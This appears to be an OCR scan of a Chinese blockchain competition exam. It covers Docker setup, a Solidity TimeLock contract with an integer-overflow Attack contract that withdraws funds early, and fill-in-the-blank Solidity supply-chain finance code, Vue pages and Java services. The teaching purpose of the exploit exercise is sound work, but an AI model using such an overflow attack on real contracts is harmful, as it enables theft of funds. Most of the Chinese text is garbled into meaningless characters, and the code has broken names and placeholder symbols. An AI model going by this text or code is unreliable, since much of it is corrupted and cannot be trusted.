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ETHERFBRE UL Ghit “/root/tools™, 1 Docker LLERIA
MEZEEN AT ENRXRERSL, FEhEEH 6T ENHE:

() TRAGHLERES . (24)

(2) % T Docker 4 EF X HaE R GR L. (249

(3) HEX 4 RS H E node0 EEWR AT H. (24

(4) BEEH G, TEMAXERFEHT. 24
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ETHh MRS BIFFEUFGAE Ghit “/root/tools™, #ERKIE X ik
EETEG, BRI T:

(1) B& Mysql 3B E (2 4
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Q) ERAABHEEFEMRSF (24

(4 RIEEEFERBAER (24
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(2) BoF T ARE, HEET S nodeid (24

(3) B # W AMENWEFT E/mAN groupl H ¥, FREELZWMARI (14
FHEFH1-1-4: REBRAZEETEEE (44)

ETEHENRABAZEETE, #TRAMEXEET(:

() ETEEF ek E, A (245
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PERERRIE, REWHPTEREERF. (34

(D) ZIAXREREFEGEREFFEHE. (14

(2) ZIXREER G EHFRESELHERAFLRIE. (14)

(3) Kt E RS w BEEAR B FRR MR EERIE, (14

2. Bk e AL ARENRK. (7T42)

HnTEREE:
pragma solidity 20.7.6;

i

contract TimelLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;

function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;

}

function increaselLockTime(uint _secondsTolncrease) public {
lockTime[msg.sender] += _secondsTolncrease;
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function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

uint amount = balances[msg.sender];
balances[msg.sender] = 0;

(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");

}
}
contract Attack {
TimelLock timelLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timelLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
5
timeLock.withdraw();
}
}
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% 2-1. BRELHITK (20 73)

H Solidity B E R REREG T &, MEMREF, ERWwT:

1. {3k 57 % & Bl SE AR5 B 90 (6 4)

(1) REG 2R e EEED, 52 LR EF HE 8 L,
S A An FAE LR AE B EREE T RE; (2 4D

% 2.2.2.1 SupplyChain SZ &t BH

4% %3 39
companyName string N B 4 R
companyAddress address /N E] HiE
creditAsset uint 12 & 7=
acceptReceiptIndex uint[] B ey O
sendReceiptIndex uint[] K% AL
senderAddress address K ZAE M hE
accepterAddress address Bk Z 48 B U AE
receiptType uint8 FIAE R
transferType uint8 Rz KA
amount uint 7 E

/)0 B8 B MK
struct Company {
AV B s
/ /@7 E] H Ak
/ /@ F %
/ /@8 X # KAk
/ /@R B FAE



/BT RZRERE R
struct Receipt {
//© % % EFE R H A
AGL: 3 &3tk ko
//@FIE KA
//@K Z KA
//OR 7 &

(2) HELV ERERED, SHAHMELBASVERE LR (24
function addCompany (string name, address companyAddress)
returns (bool) {
/ /OB F]
/ /@R Jm /2 B 3k
//@¥F S A5 AL B 8] I A B B B A
/ /@R B 1 AR IR
}
(3) ETHRWEREAREURER, TREATEA LK ZHHE D B,
(27
function bankToCompanyReceipt (address senderAddress, address
accepterAddress, uint amount, uint8 receiptType) returns(uint) {
@ 7 5 ot 7 A2
@I ARAT
@t 7]

if (keccak256 (bank. bankName) == keccak256("")) {

return 404001;



/I B A
if (keccak256 (company. companyName) == @) {

return 404002;

if (bank. creditAsset < amount) {
return 500001;

}
2. R sk e BN E SRR EIRD (6 4)
(D RENAGAEZEHTR G EFIUE L%, LIAREEHL
Bl Z AR Z T Ek; (2 4)
function companyToCompanyReceipt (D, address accepterAddress, uint

amount, uint8 receiptType) returns(uint) {

//@% W Ak | B

Company memory senderCompany = companyMap[®];

Company memory @ = companyMaplaccepterAddress];

LN & U EE

if (keccak256 (senderCompany. ®) == keccak256("")) {
return 404001;

V& N3 ONEIR e
if (keccak256 (accepterCompany. companyName) == ©) {

return 404002;



[/ REILER R A KN THFILEEH, B LRI ZELT

1E
if (accepterCompany. creditAsset @ ©®) {
return 500001;
}
(2) FECRFIESNED, ZACNRFILENTE; (25)
Receipt memory newReceipt = Receipt (), accepterAddress, receiptType,
2, amount) ;

receiptlndex += 1;

//AEFFFAE (i Map, /& 8] Map Xf B2t hb 89 & 3 fv 5 R A7 IE 51 5%
receiptMaplreceiptindex] = @;

companyMap [@)]. sendReceiptIndex. push (receiptIndex) ;

companyMap [accepterAddress]. acceptReceiptIndex. push (@) ;

(3) REXZ2FHELTMNED, THRIERGZR T HLOT I EE;
(24

companyMap [(D]. creditAsset @ amount;
companyMap [@)]. creditAsset @ amount;
return 200;
}
JHNHEEeRAR ERTRZWEDRE (45
(D REREERATZEHXT RGN I EFIELERED, I EHRAT
Z AW Z e (24
function companyToBankReceipt (address senderAddress, @O , uint

amount, uint8 receiptType) returns(uint) {

@



Bank memory bank = bankMap[senderAddress];

Company memory accepterCompany = companyMap[®)];

//#aN K EB A
if (keccak256 (bank. bankName) == @) {

return 404001;

}
//FIN B WK B A
if (keccak256 (accepterCompany. companyName) ==

keccak256("")) {

return 404002;

[/ R R N B P ANT IR, ML TR g X EF
Tk
if (accepterCompany. creditAsset < amount) {
return 500001;
}
(2) R/EQEFIENED, ZHCEF LN (14D
/ /G2 ik
Receipt memory newReceipt = Receipt(senderAddress,
accepterAddress, @O, 3, amount);
receiptindex @ 1;

receiptMap[®] = newReceipt;

bankMap [ senderAddress]. sendReceiptIndex. push (receiptIndex) ;
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companyMap [accepterAddress]. @);

3 BERZ TR EXNNED, EARUERZ KK &M 6

(14

bankMap [senderAddress]. @ & amount;
companyMap [accepterAddress]. @ @ amount;

return 200;

4. &hgE. HEMAEA (44

(D fRRREERREL, ERRETLELL, RIRTHENE L0
IEA1 abi, (149

(2) ARAR®PAEE e ED, TERIEVSRE. (34

£5% 2-2: Eeea29MiK (10 9

95 % kA A BT IR R D H T R AT B M AR, AR E Sk T

1B ERXEENE (24)

BEhX et W4, A #HH Workspace, BLE 47 5 8 RPC # 0 4 7545,
Tt & T E BB & X HF config. js 3L 5 %1 Workspace MY HE # o

2. (b EEMARE P EBERTHNNEZEHE (24

# T VSCODE #m # iyl ik T E , #h 2L T test X fF & = HelloWorld. js X
WA 77 % . AN R A F R T X 7% CGEREM & B S E D,

AN AN P BRI EE (24)

2 T VSCODE #m# py M AT E , #h 2L T test X & & HelloWorld. js X fF,
AR R B, R RE A 2089 get 77 k.

4. WA hello. get ) i (2 4)

2 T VSCODE #m# py M AT E , #h 2L T test X & & HelloWorld. js X fF,
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AR B, IR BE 6 2989 hello. get () 77 o

5. MK, should. equal #ATxF HLH W (2 )

# T VSCODE A # 9K T E , 4P 2L T test X 3% # HelloWorld. js X,
AR R B, IR RE A A B equal FAF B HLIR T
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B =. XRENHRSGT K (30 3)
5% 3-1: XEENHRIRIEEF 4% (10 4)

L& % TR0 R RO TT AR, FEEM A Register. vue UHF 5 iR Jm xf i
HEME BN, EIXN Em R RAEM T RE, AT EE (34!

AR E R ER T

(1) 71878 9 B v A A8 R 2R 18

Q) FERATWHpAARLH., Kpgiiar, AHRKY

() MEFEHR “LE” %4, TURLIERTE

(4) Ji7 “EM” HENFEREX MRS EWA

(5) VEM BRI JE kA B T T E

Register. vue:
A Fr B 1
{el-row>
<{el-col :span="16" :offset="4">
{el-form label-width="100px">
<h3>#& FIHE # 4 </h3>
{el-form-item label="4ZH4ZFr:">
<el-input type="primary" v-model=" it F ¥E F # 4
"><{/el-input>
{/el-form—item>
<el-form-item label="[X 3&fH 4t ">
<el-input type="primary" v-model=" i F ¥EH F I 4
"><{/el-input>
{/el-form—item>
<el-form-item label="#H LKA ">

{el-radio—group v-model="orgType">
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<el-radio :label="1">/+%</el-radio>
<el-radio :label="2">4R1T</el-radio>
<{/el-radio—group>
<{/el-form—item>
{/el-form>
{/el-col>
{/el-row>
<el-row style="padding—bottom:20px">
<el-button type="primary" & F#H 5 5 >EM{/el-button>
<{el-button type="primary" #&F#H 5 4 >& E<{/el-button>

<{/el-row>

R B 2:
register: function () f{
if (this.address == "") {
alert (& FHEE#H4)
telse {
let postData = {
orglType: #FHEF FH 4,
username: % FIHEEF 4,
address: & FHF 3 4
}
// a3 B
®FHTH o

KA B 3:

goback: function () {
14



this. orgType =

this. username =

this. address =
wFEEH L
}
2. E T o3 A G H9 T R MR, & KA M Login. vue X % IS mxd i ey &
FEENRG, LI EwRRNE TSR, HNAE T ESE (3 5):
AAE AR ER T
(1) 5 H BA #8095 R A X R 1E
(2) FEEEWIUR A A Hab, HHAKRA
() MEFER “EM” %4, TUREEMTE
4) i “BX HARFERELE MNRTEZE DHRA
(5) BFXREAFHIEET, BEH “/home”
Login. vue:
AR B 1
<el-col :span="16" :offset="4">
<{el-form label-width="80px">
<h1>f Br & & Rt B AT </h 1>
<h3>EFHEF H</h3>
<el-form-item label="J F#it: ">
<el-input type="primary" v-model=" it F ¥E F #H 4
"><{/el-input>
{/el-form—item>
<el-form-item label="#H LKA ">
<el-radio—group v-model="3i FHEE /">
<el-radio :label="1">/%</el-radio>
<el-radio :label="2">4R17</el-radio>

<{/el-radio—group>
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<{/el-form—item>
<{/el-form>
{/el-col>

{/el-row>

<el-row style="margin-bottom: 20px">
<el-button type="primary" i FIEE > F</el-button>
<el-button type="primary" i F3IHEF > M</el-button>

<{/el-row> <{/el-row>

R B 2:
login: function () {
if (this.address == "") {
alert ("&FEHFH4H")
telse if (this.orgType == "") {
alert ("&FEHFH4H")
telse {
let postData = {
orglType: #FHEF FH 4,
address: £ FHEEF #H4
}
// HFEwmxE
®FET A

——

I

KA & 3:
register: function () {
wFEE I,
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¥
3. & T H o R GV TT L AR, 10 B 41 Company. vue SCPF 7 w3 AL Y
THEA, LA EwmRARAAEERL S, FARAETEE (2 5):

Company. vue:
KA B L
{el-row>
<el-col :span="20" :offset="2">
<{el-table :data="companyList" style="font-size: 20px">
<{el-table—column prop="address" label=" Jk F #i -
"><{/el-table—column>
<el-table—column prop="name" label=" 2~ 7 4% #
"><{/el-table—column>
<el-table—column prop="amount" label=" Ik F X %7
">{/el-table—column>
<el-table—column label="&F#F">
{template slot—-scope="scope">
<{el-button type="primary" @click="#t FEEZH 4H">
% 16</el-button>
<{/template>
{/el-table—column>
<el-table—column prop="receiptType" label="#£Jk">
{template slot—-scope="scope">
<{el-button type="primary"
@click="transfer (scope. row) "> /E</el-button>
{/template>
{/el-table—column>
{/el-table>

{/el-col>
17



<{/el-row>

<el-row>

KA R B 2:
<el-dialog title="/A & #E" :visible. sync="dialogVisible">
{el-form label-width="100px">
<el-form-item label="Wk F i 4L: ">
{EFEFHL )
{/el-form—item>
<el-form-item label="/y%Z#:">
({ #FEFHLH }}
<{/el-form—item>
<el-form-item label="WKF R&0:">
({ &#aFHFH }}
{/el-form—item>

<{/el-form>

AR B3
detail: function (queryAddress) {
this. dialogVisible = true
let address = #&FEHF I 4
this. axios. get it F H

]

/-?address=$ {address} &queryAddress=$ {queryAddress} )
. then ((response) => {
console. log (response)
if (response. data.code == 200) {
let inAddress
response. data. data. companyVO0. address;
let inName = ¥t FHE 5 I 4

18



let inAmount = response. data. data. companyV0. amount;
this. companyDetail = {
address: #tFHEEF I 4,
name: ¥ FHEHEF I,
amount: it FIHEE H 4,
senderReceiptList:
response. data. data. senderReceiptList,
accepterReceiptList:
response. data. data. accepterReceiptList
}
} else {

alert C iKW & FH 1%, ${response.data.data} )

})

4. 7 2 T R0 R BT R AR, RAT 4L Bank. vue SCPF AN XY 2 B 2
B, KIAXNEwmRARORATHERL S, FAURAeETEE 22

Bank. vue:

RA A B L

{el-row>
<el-dialog title=" % &% ( % % % iE ) W

" :visible. sync="transDialogVisible" width="30%">
<{el-form label-width="100px">
<el-form-item label="&Z MK #4k: ">
{EFHEFH L)}

<{/el-form—item>

19



<el-form-item label="#alk F Hiak: ">
{({EFHEFH2}}
{/el-form—item>
<el-form-item label="% Z 1. ">
<el-col :span="16" :offset="4">
<el-input type="primary" v-model=" it F EH F # 4
">{/el-input>
{/el-col>
{/el-form—item>
<el-form-item label="%iFXA. ">
<el-select v-model="# FHEEFH 4" placeholder="iF & #
">
<el-option
v—for="item in options"
:key="item. value"
:label="item. label"
:value="item. value">
<{/el-option>
{/el-select>
{/el-form—item>
{/el-form>
{el-row>
<el-button type="primary" size="medium" @click="3i#t FIHEF
A" >80 £ </el-button>
{/el-row>
{/el-dialog>
{/el-row>

KA B 2:
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executeTransaction: function() {
let funcName = "companyToBankReceipt";
if (this.transDetail.amount ==#%FHEFH 4) |
alert (" X ZHAREHNZ! ")
return
}
if (this. $cookies. get ('orgType') == #FHEEFH 4) |
alert ("RAT T RELRAT A X FIE! ')
return
}
if (EFEEHL) |
alert ("HIER LK A g K P T eEAE— 2! ")
return
}
this. axios. post (" /finance/transaction/${funcName} , i F 4
E#4). then ((response) => {
if (response. data.code == 200) {
alert (" BIEA % ")
this. query ()
this. transDialogVisible = false
telse {
alert ( FiE X % k%, ${response.data.data} )
}
b
I

155 3-2: XR#ENAFImINEEN % (20 53)

1. JF & DX Sk B 6 7 5 & @k SR/ om R 4 R P 3 REAR R AT R e R P UE A
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RE, MERERDATREENRL, FMNADTETEE. (45)

OrgServicelmpl. java:
/%%
* JE A Service
* RegisterBO registerBO
* %/
@)verride
public Result<String> register (RegisterBO registerB0) {
if (StrUtil.isEmpty (& FHEFH L) ||
StrUtil. isEmpty (B FHEEF#H 5) ||
registerB0. getOrgType ) == &£ FHEF i,
) |
return Result. error (ResultVO. PARAM_EMPTY) ;

List funcParam = new ArrayList();
funcParam. add (& FE 5 # 4 ;
funcParam. add (& FE 5 # 4 ;
if (registerB0. getOrgType () == 2) {

funcParam. add (BigInteger. valueOf (1000) ) ;

String funcName;
if (registerB0. getOrgType () == 2) {
funcName =3t FHEF #4;
felse{
funcName =3t FHEF #4;



String _result =
weBASEUti1s. funcPost (OWNER_ADDRESS, funcName, funcParam) ;

JSONObject resultJson = JSONUtil.parseObj( result);

if  (_resultJson. containsKey ("statusOK") == false |
“resultJson. getBool ("statusOK") = true) { //
“resultJson. getInt ("code") > 0

return Result. error (ResultV0. #t FHEE I 4 ;

return Result. success("ok");

2. JF & R Sk gk (1 oy % &R B JF o J5 3 AR Gt P R P T REAE SRR RO R P B R
ek, WREWERBATREEHND, FRMRAGETEE. 45

OrgServicelmpl. java:

/%%
* B 3K Service
* LoginBO loginBO
K%/
@)verride
public Result<String> login(@RequestBody LoginBO loginBO) {
if (StrUtil. isEmpty (loginBO. getAddress())
) |
return Result. error (ResultVO0. PARAM_EMPTY) ;
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List funcParam = new ArrayList();

funcParam. add (i FEE & 4) ;

String funcName;
if (loginBO. getOrgType () == 2) {
funcName =it F# 5 & 4
Jelse
funcName =it F# 5 & 4

String result = weBASEUtils. funcPost( % F # 5
4, funcName, funcParam) ;

JSONArray resultJson = JSONUtil. parseArray( result);

if (StrUtil. isEmpty( resultJson. get(0). toString())) {

return Result. error (ResultV0. #t FHEE &4 ;

return Result. success("ok");

3. JF & X Sk ik 4 B 5% &k B FF] J i AR Gt P 3 o R AR SR XY L B9 e TR
AfERTEE, REWEREI AT eENRG, FMlRETEE. (45

QueryServicelmpl. java:

/**
* HJETHENEKE, TEEFIEFEEE
* %/

@0verride
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public Result listCompany (String userAddress) {

String _result

weBASEUti1s. funcPost (userAddress, "getAl1lCompanyAddress”, new

ArrayList());

try {
JSONArray respArray = & FHEE EH 4
String a = respArray. get (0). toString() ;
JSONArray addressArray = it FIHEE &4
List<CompanyV0> companylList = new ArrayList<>();
for (Object obj: addressArray) {
CompanyV0 companyV0O = it FHEE & 4
companyList. add (companyVO0) ;
}
return Result. success (& FHEEH 4);
}catch (Exception e) {
ResultVO resultVO = ResultVO. CONTRACT ERROR;
resultV0. setData (& FHEEF H 4) ;

return Result. error (& FEE 4 ) ;

4. FF &% X SRk g Bk Bk S R B9 )G i R Gt P 208 o RE A SR R B 9 R AT
RALP| R e REA G R R R EHN R, FNAS T EE, 42

QueryServicelmpl. java:

/**

* FEBEFERATIHER, RATRBERILET &, RATBEKEILT &
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* x/
@0verride
public Result getBankEntity(String userAddress, String
queryAddress) {
BankVO bankV0 = #5353 4;
List<ReceiptV0> senderReceiptlList = #& FHEE & 4
List<ReceiptV0> accepterReceiptlList = i FIHEE 4
BankEntityVO bankEntityVO = new BankEntityVO();
bankEntityV0. setBankVO0 (i FHE 5 & 4) ;
bankEntityV0. setSenderReceiptList (it FIHEE & &) ;
bankEntityV0. setAccepterReceiptList (i FEE & 4) ;
return Result. success (bankEntityV0) ;
}
5. JF & X SRk pr 4k 4 Bl I B B /5 3 R G o R 9 o) RE AR SR 3T R B ARAT 11
ARz RIEY e, RE\EWERBHARRGENRD, FHMAGRETEE. 24
TransactionServicelmpl. java:
/%%
* B FARAT K2 RIE RAT# K% 0 3)
* x/
public Result<String> bankToCompanyReceipt (TransactionB0O
transactionB0) {
% FEE W
}
6. JF & X 5 B 1 55 & Bk N F B G i R G R 7 3 BE AR R RS R B T
ARz R, RE\EWENBAARENRD, FMAGETEE. 24

TransactionServicelmpl. java:

/**

* N4 B R K 2
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* %/
public Result<String> companyToCompanyReceipt (TransactionBO

transactionB0) {

"FEE I
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